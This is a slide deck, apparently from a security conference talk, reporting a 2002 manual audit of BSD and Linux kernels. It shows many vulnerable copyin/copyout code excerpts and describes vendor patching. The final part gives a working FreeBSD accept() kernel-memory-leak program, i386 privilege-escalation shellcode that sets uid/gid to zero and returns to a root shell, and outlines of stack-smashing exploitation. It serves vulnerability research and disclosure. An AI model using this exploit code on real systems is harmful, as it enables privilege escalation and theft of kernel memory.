

Format

- Three parts in today's presentation.
 - Kernel auditing research.
 - A sample of exploitable bugs.
 - Kernel exploitation.
- Pause for questions at completion of each section, but questions are welcome throughout.



Part (i)

Kernel Auditing Research.



Kernel Auditing Overview

- Manual Open Source Kernel Security Audit.
- FreeBSD, NetBSD, OpenBSD and Linux operating systems.
- Auditing for three months; July to September 2002.



TimeFrame by Operating System

- NetBSD
 - Less than one week.
- FreeBSD
 - A week or less.
- OpenBSD
 - A couple of days.
- Linux
 - All free time.



Prior Work

- Dawson Engler and Stanford Bug Checker.
 - Many concurrency and synchronization bugs uncovered.
- Linux Kernel Auditing Project?



Presentation Notes

- The use of the term 'bug' is always in reference to a vulnerability unless otherwise stated.
- At cessation of the auditing period, over one hundred vulnerabilities (bugs) were patched.



Kernel Security Mythology (1)

- Kernels are written by security experts and programming gods.
 - Therefore, having no [simplistic [security]] bugs.



Kernel Security Mythology (2)

- Kernels never have simplistic [security] bugs.
 - Therefore, only security experts or programming gods can find them.



Kernel Security Mythology (3)

- Kernels, if buggy, are difficult to exploit.
 - Therefore, exploitation is probably only theoretical in nature.



Research Conjectures

- Kernel Code is not 'special'.
 - It's just another program.
- Language Implementation bugs are present.
 - Its using languages with known pitfalls.
- Kernel Programmers make mistakes.
 - Like everyone else.



Auditing Methodology

- Audit only simple classes of bugs.
- Find entry points to audit.
 - Kernel / User memory copies based in idea on Dawson Englers bug checkers.
- Audit using bottom-up techniques.
- Targeted auditing evolved with experience.



Auditing Experience

- System Calls are simple entry points.
- Device Drivers have simple entry points by design.
 - Unix; everything is a file.
- IOCTL's are the swiss army knife of system calls, increasing the attack vector space.



Immediate Results

- First bug found within hours.
- True for all operating systems audited.
- First bug in [new] non familiar software is arguably the hardest to find.



Observations (1)

- Evidence of varying degrees of code quality and security bugs.
- Device Drivers a very large source of bugs. *
- Bugs tend to exhibit signs of propagation and clustering. *
- Identical bugs across platforms (2).



Research Bias

- Manual auditing is inherently biased.
- Dawson Englers work in automated bug discovery states those prior (*) observations, but provides something that can be considered less biased than manual auditing.



Observations (2)

NetBSD 1.6

```
int
i386_set_ldt(p, args, retval)
    struct proc *p; void *args; register_t *retval; {
[ skip ]
    if (ua.start < 0 || ua.num < 0)
        return (EINVAL);
    if (ua.start > 8192 || (ua.start + ua.num) > 8192)
```

OpenBSD 3.1

```
int
i386_set_ldt(p, args, retval)
    struct proc *p; void *args; register_t *retval; {
[ skip ]
    if (ua.start < 0 || ua.num < 0)
        return (EINVAL);
    if (ua.start > 8192 || (ua.start + ua.num) > 8192)
```



Evidence in contradiction to Kernel Mythology (1)

- Kernels are [not] written by gods..
 - Initial bugs were found in hours by all kernels.
 - Bugs were found in large quantities. Ten to thirty per day was not uncommon.
 - It was assumed and stated that code was secure, when in fact, it was often not.



Linux 2.4.18

```
/*
 * Copy bytes to user space. We allow for partial reads, which
 * means that the user application can request read less than
 * the full frame size. It is up to the application to issue
 * subsequent calls until entire frame is read.
 *
 * First things first, make sure we don't copy more than we
 * have - even if the application wants more. That would be
 * a big security embarassment!
 */
if ((count + frame->seqRead_Index) > frame->seqRead_Length)
    count = frame->seqRead_Length - frame->seqRead_Index;

/*
 * Copy requested amount of data to user space. We start
 * copying from the position where we last left it, which
 * will be zero for a new frame (not read before).
 */
if (copy_to_user(buf, frame->data + frame->seqRead_Index, count)) {
    count = -EFAULT;
    goto read_done;
}
```



Linux 2.2.16

```
/*
 * Copy an openpromio structure into kernel space from user space.
 * This routine does error checking to make sure that all memory
 * accesses are within bounds. A pointer to the allocated openpromio
 * structure will be placed in "*opp_p". Return value is the length
 * of the user supplied buffer.
 */
static int copyin(struct openpromio *info, struct openpromio **opp_p)
{
    int bufsize;

[ skip ]

    get_user_ret(bufsize, &info->oprom_size, -EFAULT);

    if (bufsize == 0 || bufsize > OPROMMAXPARAM)
        return -EINVAL;

    if (!(*opp_p = kmalloc(sizeof(int) + bufsize + 1, GFP_KERNEL)))
        return -ENOMEM;
    memset(*opp_p, 0, sizeof(int) + bufsize + 1);

    if (copy_from_user(&(*opp_p)->oprom_array,
                    &info->oprom_array, bufsize)) {
        kfree(*opp_p);
    }
}
```



Evidence in contradiction to Kernel Mythology (2)

- Kernels do have simplistic bugs..
 - Almost never was intensive code tracking required.
 - After ‘grepping’ for simple entry points, bugs were identified in close proximity.
 - No input validation present on occasion!
 - Inline documentation shows non working code in many places.



linux/ibcs2_stat.c

```
int
ibcs2_sys_statfs(p, v, retval)
    struct proc *p;
    void *v;
    register_t *retval;
{
    struct ibcs2_sys_statfs_args /* {
        syscallarg(char *) path;
        syscallarg(struct ibcs2_statfs *) buf;
        syscallarg(int) len;
        syscallarg(int) fstype;
    } */ *uap = v;

[ skip ]

    return cvt_statfs(sp, (caddr_t)SCARG(uap, buf), SCARG(uap, len));

static int
cvt_statfs(sp, buf, len)
    struct statfs *sp; caddr_t buf; int len;
{
    struct ibcs2_statfs ssfs;

    bzero(&ssfs, sizeof ssfs);

[ skip ]

    return copyout((caddr_t)&ssfs, buf, len);
```



sparc64/dev/vgafb.c

```
int
vgafb_ioctl(v, cmd, data, flags, p)
    void *v;
    u_long cmd;
    caddr_t data;
    int flags;
    struct proc *p;
{
    case WSDISPLAYIO_GETCMAP:
        if (sc->sc_console == 0)
            return (EINVAL);
        return vgafb_getcmap(sc, (struct wsdisplay_cmap *)data);

int
vgafb_getcmap(sc, cm)
    struct vgafb_softc *sc;
    struct wsdisplay_cmap *cm;
{
    u_int index = cm->index;
    u_int count = cm->count;
    int error;

    error = copyout(&sc->sc_cmap_red[index], cm->red, count);
```



fs/binfmt_coff.c

```
if (!pageable) {
    /*
     * Read the file from disk...
     *
     * XXX: untested.
     */
    loff_t pos = data.scnptr;
    status = do_brk(text.vaddr, text.size);
    bprm->file->f_op->read(bprm->file,
        (char *)data.vaddr, data.scnptr, &pos);
    status = do_brk(data.vaddr, data.size);
    bprm->file->f_op->read(bprm->file,
        (char *)text.vaddr, text.scnptr, &pos);
    status = 0;
}
```



Evidence in contradiction to Kernel Mythology (3)

- Kernels, if buggy, are [not] difficult to exploit..
 - Exploit to 100% reliably read kernel memory from proc FS Linux is 38 lines.
 - 37 lines for 100% reliable FreeBSD accept system call exploit to read kernel memory.
 - Stack overflow in Linux requires no offsets, only assuming [correctly], that addresses on stack are word aligned.



Attack Vectors

- The more code in a kernel, the more vulnerabilities are likely to be present.
- Entry points that user land can control are vectors of exploitation.
 - Eg, Device Drivers, System Calls, File Systems.
- Less risk of security violations, with less generic kernels.
 - Core Kernel code resulted in relatively few bugs.



Vendor Response

- For this audit, OSS security response very strong.
- All contact points responding exceptionally fast.
 - Theo de Raadt (OpenBSD) response in 3 minutes.
 - Alan Cox (Linux) response in under 3 hours with status of bugs [some resolved two years prior] and developer names.



[Pesonal] Open Source Bias

- I am [still] a big believer in Open Source Software, so the responses received, while true, are arguably somewhat biased.
- It could be debated that a company without a legal and marketing department to protect, can only argue at a source level.



More Bias!

```
$ grep -i    hack /usr/src/linux-2.4.19/CREDITS | wc -l  
    106
```

```
$ grep -i  hacker /usr/src/linux-2.4.19/CREDITS | wc -l  
    57
```

```
$ grep -i hacking /usr/src/linux-2.4.19/CREDITS | wc -l  
    25
```

```
$ grep -i   hacks /usr/src/linux-2.4.19/CREDITS | wc -l  
    23
```



Linux

- Alan Cox first contact point, and remained personally involved and responsible for entire duration.
- Patched the majority of software, although attributing me with often small patches in change logs.
- Solar Designer, responsible for 2.2 Linux Kernels.
- Dave Miller later helping in the patch process also.



Linux Success!

- RedHat initial advisory almost political in nature, with references to the DMCA.
- RedHat Linux now regularly release kernel advisories, which probably can be attributed to the auditing work carried out last year.
- Audit [ironically considering LKAP] was probably the most complete in Linux History.



FreeBSD

- FreeBSD has more formalized process with Security Officer contact point.
- Dialogue, slightly longer to establish, but very effective thereafter.
- Addressed standardizations issues, resolving some security bugs very effectively squashing future bugs.



FreeBSD success?

- FreeBSD released an [unexpected] advisory on the accept() system call bug.
- At the time, in a vulnerability assessment company, a co-worker told me they had to implement 'my vulnerability'. 😊
- Thanks FreeBSD!



NetBSD

- NetBSD dialogue was not lengthy, but all issues were resolved after small waiting period.
- These patches where applicable, then quickly propagated to the OpenBSD kernel source.



OpenBSD

- Theo de Raadt quickest response in documented history?
- OpenBSD select advisory released shortly after 10-15 problems were reported.
- I did not audit or report select() bug, but appears Neils Provos started kernel auditing after my initial problem reports.



OpenBSD ChangeLogs

*<http://www.squish.net/pipermail/owc/2002-August/00380.html>
The OpenBSD weekly src changes [ending 2002-08-04]*

compat/ibcs2

~ ibcs2_stat.c

- > More possible int overflows found by Silvio Cesare.
- > ibcs2_stat.c one OK by provos@



Black Hat Briefings

ibcs_stat.c

- Linux
- OpenBSD
- NetBSD
- FreeBSD
- FIXED
- FIXED
- FIXED
- ☹



Kernel Security Today

- Auditing always results in vulnerabilities being found.
- Auditing and security is [or should be] an on-going process.
- More bugs and bug classes are certainly exploitable, than just those described today.



Public Research Release

- Majority of technical results disseminated four months ago at Ruxcon.
- Some bugs (0day) released at that time.
- Bugs still present in kernels.
- Does anyone read conference material besides us?



Pause for Audience Participation!

Questions?



Part (ii)

A sample of exploitable kernel bugs.



arch/i386/sys_machdep.c

```
#ifdef USER_LDT

int
i386_set_ldt(p, args, retval)
    struct proc *p;
    void *args;
    register_t *retval;
{

    if (ua.start < 0 || ua.num < 0)
        return (EINVAL);
    if (ua.start > 8192 || (ua.start + ua.num) > 8192)
        return (EINVAL);

}
```



arch/amiga/dev/grf_cl.c

```
int
cl_getcmap(gfp, cmap)
    struct grf_softc *gfp;
    struct grf_colormap *cmap;
{
    if (cmap->count == 0 || cmap->index >= 256)
        return 0;

    if (cmap->index + cmap->count > 256)
        cmap->count = 256 - cmap->index;

    [ skip ]

    if (!(error = copyout(red + cmap->index, cmap->red, cmap->count))
        && !(error = copyout(green + cmap->index, cmap->green, cmap-
>count))
        && !(error = copyout(blue + cmap->index, cmap->blue, cmap-
>count)))
        return (0);
```



arch/amiga/dev/view.c

```
int
view_get_colormap (vu, ucm)
    struct view_softc *vu;
    colormap_t *ucm;
{
    int error;
    u_long *cme;
    u_long *uep;

    /* add one incase of zero, ick. */
    cme = malloc(sizeof (u_long)*(ucm->size + 1), M_IOCTLOPS,
M_WAITOK);

    uep = ucm->entry;
    error = 0;
    ucm->entry = cme;          /* set entry to out alloc. */
    if (vu->view == NULL || grf_get_colormap(vu->view, ucm))
        error = EINVAL;
    else
        error = copyout(cme, uep, sizeof(u_long) * ucm->size);
    ucm->entry = uep;          /* set entry back to users. */
    free(cme, M_IOCTLOPS);
    return(error);
}
```



hp300/hpux_machdep.c

```
int
hpux_sys_getcontext(p, v, retval)
    struct proc *p;
    void *v;
    register_t *retval;
{
    struct hpux_sys_getcontext_args *uap = v;
    const char *str;
    int l, i, error = 0;
    int len;

    [ skip ]

    /* + 1 ... count the terminating \0. */
    l = strlen(str) + 1;
    len = min(SCARG(uap, len), l);

    // since both l and uap->len (and len) are signed integers..

    if (len)
        error = copyout(str, SCARG(uap, buf), len);
```



ufs/lfs/lfs_syscalls.c

```
int
lfs_bmapv(p, v, retval)
    struct proc *p;
    void *v;
    register_t *retval;
{
    struct lfs_bmapv_args /* {
        syscallarg(fsid_t *) fsidp;
        syscallarg(struct block_info *) blkiov;
        syscallarg(int) blkcnt;
    } */ *uap = v;

    [ skip ]

    start = blkp = malloc(cnt * sizeof(BLOCK_INFO), M_SEGMENT,
M_WAITOK);
    error = copyin(SCARG(uap, blkiov), blkp, cnt * sizeof(BLOCK_INFO));
    if (error) {
        free(blkp, M_SEGMENT);
        return (error);
    }

    for (step = cnt; step--; ++blkp) {
```



compat/hpux/hpux_compat.c

```
struct hpux_sys_utssys_args {
    syscallarg(struct hpux_utsname *) uts;
    syscallarg(int) dev;
    syscallarg(int) request;
};

./compat/hpux/hpux_compat.c

int
hpux_sys_utssys(p, v, retval)
    struct proc *p;
    void *v;
    register_t *retval;
{
    struct hpux_sys_utssys_args *uap = v;

    [ skip ]

    /* gethostname */
    case 5:
        /* SCARG(uap, dev) is length */
        if (SCARG(uap, dev) > hostnamelen + 1)
            SCARG(uap, dev) = hostnamelen + 1;
        error = copyout((caddr_t)hostname, (caddr_t)SCARG(uap, uts),
            SCARG(uap, dev));
        break;
}
```



pci_hotplug_core.c

```
static ssize_t power_write_file (struct file *file, const char *ubuff, size_t
count, loff_t *offset)
{
    struct hotplug_slot *slot = file->private_data;
    char *buff;
    unsigned long lpower;
    u8 power;
    int retval = 0;

    if (*offset < 0)
        return -EINVAL;
    if (count <= 0)
        return 0;
    if (*offset != 0)
        return 0;

    [ skip ]

    buff = kmalloc (count + 1, GFP_KERNEL);
    if (!buff)
        return -ENOMEM;
    memset (buff, 0x00, count + 1);

    if (copy_from_user ((void *)buff, (void *)ubuff, count)) {
        retval = -EFAULT;
        goto exit;
    }
}
```



pcilynx.c

```
static ssize_t mem_read(struct file *file, char *buffer, size_t count,
                       loff_t *offset)
{
    struct memdata *md = (struct memdata *)file->private_data;
    ssize_t bcount;
    size_t alignfix;
    int off = (int)*offset; /* avoid useless 64bit-arithmetic */
    ssize_t retval;
    void *membase;

    if (((off + count) > PCILYNX_MAX_MEMORY + 1) {
        count = PCILYNX_MAX_MEMORY + 1 - off;
    }
    if (count == 0) {
        return 0;
    }

    [ skip ]

    if (bcount) {
        memcpy_fromio(md->lynx->mem_dma_buffer + count - bcount,
                     membase+off, bcount);
    }

    out:
    retval = copy_to_user(buffer, md->lynx->mem_dma_buffer, count);
}
```



amdtp.c

```
static ssize_t amdtp_write(struct file *file, const char *buffer, size_t
count, loff_t *offset_is_ignored)
{
    int i, length;
    [ skip ]
    for (i = 0; i < count; i += length) {
        p = buffer_put_bytes(s->input, count, &length);
        copy_from_user(p, buffer + i, length);
    }

static unsigned char *buffer_put_bytes(struct buffer *buffer,
int max, int *actual)
{
    int length;
    [ skip ]
    p = &buffer->data[ buffer->tail ];
    length = min(buffer->size - buffer->length, max);
    if (buffer->tail + length < buffer->size) {
        *actual = length;
        buffer->tail += length;
    }
    else {
        *actual = buffer->size - buffer->tail;
        buffer->tail = 0;
    }
    buffer->length += *actual;
    return p;
}
```



net/ipv4/route.c

```
#ifdef CONFIG_PROC_FS
static int ip_rt_acct_read(char *buffer, char **start, off_t offset,
                          int length, int *eof, void *data)
{
    *start=buffer;

    if (offset + length > sizeof(ip_rt_acct)) {
        length = sizeof(ip_rt_acct) - offset;
        *eof = 1;
    }
    if (length > 0) {
        start_bh_atomic();
        memcpy(buffer, ((u8*)&ip_rt_acct)+offset, length);
        end_bh_atomic();
        return length;
    }
    return 0;
}
#endif
```



net/core/sock.c

```
int lv=sizeof(int),len;

if(get_user(len,optlen))
    return -EFAULT;

[ skip ]

case SO_PEERCRECRED:
    lv=sizeof(sk->peercred);
    len=min(len, lv);
    if(copy_to_user((void*)optval, &sk->peercred, len))
        return -EFAULT;
    goto lenout;

[ skip ]

len=min(len,lv);
if(copy_to_user(optval,&v,len))
    return -EFAULT;
```



kernel/mtrr.c

```
static ssize_t mtrr_write (struct file *file, const char *buf, size_t len,
                          loff_t *ppos)
/*  Format of control line:
   "base=%lx size=%lx type=%s"    OR:
   "disable=%d"
*/
{
    int i, err;
    unsigned long reg, base, size;
    char *ptr;
    char line[LINE_SIZE];

    if ( !suser () ) return -EPERM;
    /*  Can't seek (pwrite) on this device */
    if (ppos != &file->f_pos) return -ESPIPE;
    memset (line, 0, LINE_SIZE);
    if (len > LINE_SIZE) len = LINE_SIZE;
    if ( copy_from_user (line, buf, len - 1) ) return -EFAULT;
```



usb/rio50.c

```
struct RioCommand {
    short length;

ioctl_rio(struct inode *inode, struct file *file, unsigned int cmd,
          unsigned long arg)

[ skip ]

switch (cmd) {
case RIO_RECV_COMMAND:
    data = (void *) arg;
    if (data == NULL)
        break;
    copy_from_user_ret(&rio_cmd, data, sizeof(struct RioCommand),
                      -EFAULT);
    if (rio_cmd.length > PAGE_SIZE)
        return -EINVAL;
    buffer = (unsigned char *) __get_free_page(GFP_KERNEL);
    if (buffer == NULL)
        return -ENOMEM;
    copy_from_user_ret(buffer, rio_cmd.buffer, rio_cmd.length,
                      -EFAULT);
```



pcbit/drv.c

```
int len

[ skip ]

switch(dev->l2_state) {
case L2_LWMODE:
    /* check (size <= rdp_size); write buf into board */
    if (len > BANK4 + 1)
    {
        printk("pcbit_writecmd: invalid length %d\n", len);
        return -EFAULT;
    }

    if (user)
    {
        u_char cbuf[1024];

        copy_from_user(cbuf, buf, len);
        for (i=0; ish_mem + i);
    }
    else
        memcpy_toio(dev->sh_mem, buf, len);
    return len;
}
```



char/buz.c

```
zoran_ioctl  
  
if (vw.clipcount) {  
    vcp = vmalloc(sizeof(struct video_clip) * (vw.clipcount + 4));  
    if (vcp == NULL) {  
        return -ENOMEM;  
    }  
    if (copy_from_user(vcp, vw.clips, sizeof(struct  
        video_clip) * vw.clipcount)) {
```



kernel/mtrr.c

```
static ssize_t mtrr_read (struct file *file, char *buf, size_t len,
                          loff_t *ppos)
{
    if (*ppos >= ascii_buf_bytes) return 0;
    if (*ppos + len > ascii_buf_bytes) len = ascii_buf_bytes - *ppos;
    // if size_t is 64bit, then *ppos + len integer overflow - Silvio

    if ( copy_to_user (buf, ascii_buffer + *ppos, len) ) return -EFAULT;
    *ppos += len;
    return len;
} /* End Function mtrr_read */
```



Pause for Audience Participation!

Questions?



Part (iii)

Kernel Exploitation.



Exploit Classes

- Arbitrary code execution.
 - Root shell. Eg, Linux binfmt_coff.c
 - Escape kernel sandboxing.
 - Eg, SE Linux, UML.
- Information Disclosure.
 - Kernel memory. Eg, FreeBSD accept().
 - Eg, SSH private key.



Prior Work

- Exploitation of kernel stack smashing by Noir.
 - Smashing the Kernel Stack for Fun and Profit, Phrack 60.
 - Implementation of exploit from OpenBSD select() kernel stack overflow.



Kernel Implementation

- All major Open Source Kernels in C programming language.
- Language pitfalls are C centric, not kernel or user land centric.
- No need to understand in-depth kernel algorithms, if implementation is target of attack.



C Language Pitfalls

- C language has undefined behaviour in certain states.
 - Eg, Out of bounds array access.
- Undefined, generally means exploitable.
- Error handling hard or difficult.
 - No carry or overflow sign or exception handling in integer arithmetic.
 - Return value of functions often both indicate error and success depending on [ambiguous] context.
 - Eg, malloc(), lseek()



C Language Implementation Bugs

- Integer problems rampant in all code.
- Poor error handling rampant in most code.
 - Does anyone ever check for out of memory?
 - Does anyone ever then try to recover?
 - Hard crashes, or memory leaks often the final result.



Kernel interfaces to target

- Kernel buffer copies.
 - Kernel to User space copies.
 - User to Kernel space copies.



Kernel Buffer Copying

- Kernel and user space divided into [conceptual] segments.
 - Eg, 3g/1g user/kernel (default i386 Linux).
- Validation required of buffer source and destination.
 - Segments.
 - Page present, page permissions etc.
- Incorrect input validation can lead to kernel compromise.
 - Tens or hundreds in each kernel discovered.



Kernel Buffers (1)

- Kernel to user space copies.
 - May allow kernel memory disclosure, via unbounded copying, directly to user space buffers.
- Partial copies of kernel memory possible, through MMU page fault.
- Verification of page permissions not done prior to copy.
 - In Linux, `verify_area()` is mostly deprecated for this use.



FreeBSD sys_accept() Exploitation

```
char buf[1024*1024*1024];
int main(int argc, char *argv[]) {
    int s1, s2;
    int ret;
    int fromlen;
    struct sockaddr_in *from = (void *)buf;

    if (argc != 2) exit(1);
    fromlen = INT_MAX;
    fromlen++;
    s1 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    assert(s1 != -1);
    from->sin_addr.s_addr = INADDR_ANY;
    from->sin_port = htons(atoi(argv[1]));
    from->sin_family = AF_INET;
    ret = bind(s1, (struct sockaddr *)from, sizeof(*from));
    assert(ret == 0);
    ret = listen(s1, 5);
    assert(ret == 0);
    s2 = accept(s1, (struct sockaddr *)from, &fromlen);
    write(1, from, BUFSIZE);
    exit(0);
}
```



Kernel Buffers (2)

- Copy optimisation.
- Identified by double underscore.
 - Eg, `__copy_to_user`.
- Assume segment validation prior to buffer copy.
- Exploitable if [segment] assumptions are incorrect.



[classic] Exploitation (1)

- Copy kernel shell code from user buffer to target in kernel segment.
- Target destination a [free] system call.
- Kernel shell code to change UID of current task to zero (super user).
- System call now a [classic] backdoor.



Exploitation

- Privilege escalation.
 - Manipulation of task structure credentials.
 - Jail escape not documented in this presentation.
 - See Phrack 60.
- Kernel continuation.
 - Noir's approach in Phrack 60 to return into kernel [over] complex.



Kernel Stacks

- Linux 2.4 current task pointer, relative to kernel stack pointer.
- Task is allocated two pages for stack.
 - Eg, i386 is 8K.
 - Bad practice to allocate kernel buffers on stack due to stack size limitations.
- Task structure is at top of stack.
 - `current = %esp & ~(8192-1)`



ret_from_sys_call (1)

- Linux i386 implements return to user land context change with a call gate (iret).
 - `Linux/arch/i386/arch/entry.S`



entry.S

```
ENTRY(system_call)
    pushl %eax                # save orig_eax
    SAVE_ALL
    GET_CURRENT(%ebx)
    testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS
    jne tracesys
    cmpl $(NR_syscalls),%eax
    jae badsys
    call *SYMBOL_NAME(sys_call_table)(,%eax,4)
    movl %eax,EAX(%esp)      # save the return value
ENTRY(ret_from_sys_call)
    cli                      # need_resched and signals atomic test
    cmpl $0,need_resched(%ebx)
    jne reschedule
    cmpl $0,sigpending(%ebx)
    jne signal_return
restore_all:
    RESTORE_ALL
```



ret_from_sys_call (2)

- Kernel stack smashing, exploitation and returning back into kernel.
 - Too many things to figure out!
 - Not necessary!
- Change context to user land after kernel exploitation.
 - Emulate ret_from_sys_call.



[classic] Exploitation (2)

- Linux/fs/binfmt_coff.c exploitation.
 - Buggy code that would panic if used.
 - Public(?) exploit since Ruxcon, still no fix.
- Allows for arbitrary copy from user space (disk) to kernel.
- Exploitation through custom binary, to execute shell running as super user.



fs/binfmt_coff.c

fs/binfmt_coff.c

```
status = do_brk(text.vaddr, text.size);
bprm->file->f_op->read(bprm->file,
    (char *)data.vaddr, data.scnptr, &pos);
status = do_brk(data.vaddr, data.size);
bprm->file->f_op->read(bprm->file,
    (char *)text.vaddr, text.scnptr, &pos);
```

vaddr and scnptr are the virtual addresses and the file offsets for the relevant binary sections. Note that the vaddr has no sanity checking in either case above.

include/linux/fs.h

```
ssize_t (*read) (struct file *, char *, size_t, loff_t *);
```



Kernel stack smashing (1)

- Kernel shell code not in kernel segment.
 - Lives in user space, runs in kernel context.
- Smash stack with return address to user land segment.
 - Assume alignment [correctly] where return address on stack.
- Elevate privileges of the current task.
- `Ret_from_sys_call`.
 - Likely to return to user space, then execute a shell, at elevated privileges.



Shellcode

```
__asm__ volatile (  
    "andw $~8191,%sp      \n"      // current task_struct  
    "xorl %ebx,%ebx      \n"  
    "movl %ebx,300(%esp)  \n"      // uid (300)  
    "movl %ebx,316(%esp)  \n"      // gid (316)  
    "cli                  \n"  
    "pushl $0x2b          \n"      //  
    "pop %ds              \n"      //  
    "pushl %ds            \n"      // oldss (ss == ds)  
    "pushl $0xc0000000    \n"      // oldesp  
    "pushl $0x246         \n"      // eflags  
    "pushl $0x23          \n"      // cs  
    "pushl $shellcode     \n"      // eip of userspace shellcode  
    "iret                 \n"  
);
```



Kernel Stack Smashing (2)

- Full overwrite of return address not always possible.
- Return address may point to trampoline.
- Trampoline may be a jump to an atypical address in user land.
- Address may be become available using `mmap()`.



Future Work

- SELinux, UML exploit implementation.
- Heap bugs with the kernel memory allocator(s).
 - Buffer overflows.
 - Double frees.



That's all folks!

Questions?

